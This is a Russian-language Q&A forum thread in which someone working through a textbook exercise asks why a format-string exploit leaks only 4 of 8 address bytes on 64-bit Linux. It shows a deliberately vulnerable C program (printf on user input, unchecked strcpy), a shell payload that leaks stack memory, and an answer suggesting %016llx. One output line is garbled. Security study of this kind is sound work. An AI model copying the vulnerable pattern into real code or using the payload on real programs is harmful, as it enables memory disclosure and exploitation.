Формат Строка Уязвимость - PullRequest
0 голосов
/ 24 мая 2018

В настоящее время я читаю «Взломать искусство эксплуатации», где говорится об уязвимостях строки формата.Упражнение книги пытается прочитать данные из произвольной части памяти, записав адрес в стек и прочитав его, используя параметры формата.Проблема в том, что упражнение написано для 32-битных систем, а я работаю на 64-битных.Моя попытка заставить его работать для 64-битной системы приведена ниже:

./fmt_vuln $(printf "\xaa\xee\xff\xff\xff\x7f")%016x.%016x.%016x.%016x.%016x.%016x.%016x.%016x

, и ответ, который я получаю от оболочки:

Правильный способ печати под контролем пользователяввод:

?????% 016x.% 016x.% 016x.% 016x.% 016x.% 016x.% 016x.% 016x

Неправильный способ печати, контролируемый пользователемвходные данные:

0000000055755010.00000000f7dd18c0.00000000f7af4154.000000000000000.000000000000035.0 ffffe088.00000000555543c0. 00000000ffffeeaa

0 * * 0 0 0 5 0 0 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5

Как видите, я могу прочитать только младшие 4 байта (0xFFFFEEAA), а верхние 2 байта пропали (0x7FFF).Любая мысль о том, как я могу это исправить?

Кстати, вот код для fmt_vuln из книги:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
   char text[1024];
   static int test_val = -72;

   if(argc < 2) {
      printf("Usage: %s <text to print>\n", argv[0]);
      exit(0);
   }
   strcpy(text, argv[1]);

   printf("The right way to print user-controlled input:\n");
   printf("%s", text);


   printf("\nThe wrong way to print user-controlled input:\n");
   printf(text);

   printf("\n");

   // Debug output
   printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

   exit(0);
}

Вот снимок экрана моей оболочки: enter image description here

1 Ответ

0 голосов
/ 24 мая 2018

Попробуйте читать с %016llx (длинный длинный x) вместо %016x, так как вы читаете 64-битный гекс, а не 32.

...